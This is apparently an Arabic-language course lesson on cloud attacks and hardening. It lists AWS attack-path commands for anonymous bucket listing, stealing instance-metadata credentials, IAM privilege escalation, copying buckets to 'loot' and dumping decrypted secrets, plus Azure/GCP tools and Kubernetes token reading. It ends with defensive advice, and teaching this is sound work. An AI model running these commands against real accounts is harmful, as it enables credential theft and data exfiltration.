Cloud Attacks — AWS / Azure / GCP بتقع إزاي
الجبهة السحابية — IAM و S3 و IMDS و Containers
- المستوى
- خبير
- المدة
- 100m
- الترتيب
- الدرس 39 من 85
ليه السحابة هدف رقم واحد دلوقتي؟
نموذج المسؤولية المشتركة
الـ Cloud Provider مسؤول عن أمن السحابة — الأجهزة، الـ hypervisor، الداتا سنتر.
إنت مسؤول عن الأمن جوه السحابة — الـ IAM، التكوين، الداتا، الشبكة.
لما حد يقولك "AWS اتخرقت"، اسأله سؤال واحد: "اتخرق إيه بالظبط؟" في 99٪ من الحالات، AWS ما اتخرقتش. عميل من عملاءها سايب bucket public.
اوعى تعمل الغلطات دي
AWS Attack Path — مسار هجوم نموذجي
aws s3 ls s3://target-backups --no-sign-request
amass enum -d target.gov -src
crt.sh → *.elb.amazonaws.com baring target namegitleaks detect --source=. --report-format=json
trufflehog github --org=target --only-verified
aws sts get-caller-identity --profile leakedGET http://169.254.169.254/latest/meta-data/iam/security-credentials/
{"AccessKeyId":"ASIA...","SecretAccessKey":"abc...","Token":"FQoG..."}aws sts get-caller-identity
aws iam list-user-policies --user-name $U
aws iam simulate-principal-policy --policy-source-arn ... --action-names "*"
pacu
cloudfox aws inventory --profile pwned
enumerate-iam --access-key ... --secret-key ...- iam:CreateAccessKey على يوزر تاني.
- iam:AttachUserPolicy → ربط AdministratorAccess.
- iam:PassRole + ec2:RunInstances = شغل EC2 بدور أعلى.
- lambda:UpdateFunctionCode على Lambda معاها دور أعلى.
- sts:AssumeRole مع trust policy بايظ.
aws s3 sync s3://target-backups ./loot/
aws rds describe-db-snapshots
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --with-decryptionالغلطات الأكثر شيوعاً في AWS
Azure / GCP باختصار
Azure
- هجمات على Entra ID (Azure AD) — device code phishing, illicit consent.
- الأدوات: ROADtools, AADInternals, MicroBurst.
- Managed Identity = نسخة الـ IMDS في Azure (169.254.169.254).
GCP
- الـ Service Accounts = أكبر بقعة مكشوفة.
- iam.serviceAccountTokenCreator + actAs = privesc.
- الأدوات: GCPBucketBrute, gcloud-pwn, hayat.
Kubernetes — السحابة جوه السحابة
- kubelet مفتوح بدون authn؟ كارثة كاملة.
- RBAC فيه cluster-admin لكل ServiceAccount.
- صور حاويات فيها ثغرات (استخدم trivy عشان تفحصها).
- pod بـ privileged: true = خروج للـ node نفسها.
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list
peiratesالحماية السحابي — Cloud Hardening
- CSPM (Prisma Cloud, Wiz, AWS Security Hub) عشان يكشف سوء التكوين أوتوماتيك.
- CIEM لتحليل صلاحيات IAM الزيادة.
- SCPs لمنع الأفعال الخطرة على مستوى المؤسسة.
- CloudTrail + GuardDuty + Detective.
- طبّق AWS Foundational Security Best Practices + CIS AWS Benchmark.
- IMDSv2 إجبارياً + اقفل الـ public IP افتراضياً.
- شفّر كل EBS وS3 وRDS بـ KMS + فعّل MFA Delete.
- Just-In-Time access عن طريق AWS SSO / PIM.
الخلاصة الناشفة
السحابة مش بتتخرق بـ zero-day.
بتتخرق بـ access key مسرّب على GitHub، و bucket public، و IAM policy فيها wildcard اتكتب في 2020 ومحدش فاكرها.
المستجد بيدوّر على CVE في AWS. مفيش CVE يا نجم.
المحترف بيدوّر على configuration drift، وسطر Action: "*" اتسحب من Stack Overflow وانحط في prod.
اكتبها على ظهر إيدك واسأل نفسك كل صبح:
"لو الـ access key ده اتسرّب دلوقتي، البلاست راديوس قده إيه؟"
لو الإجابة "كل الـ tenant"، يبقى المعمار غلط. مش الموضوع EDR ومراقبة. الموضوع least privilege من الأول.
علّمه علشان تفضل عارف انت فين على السكة.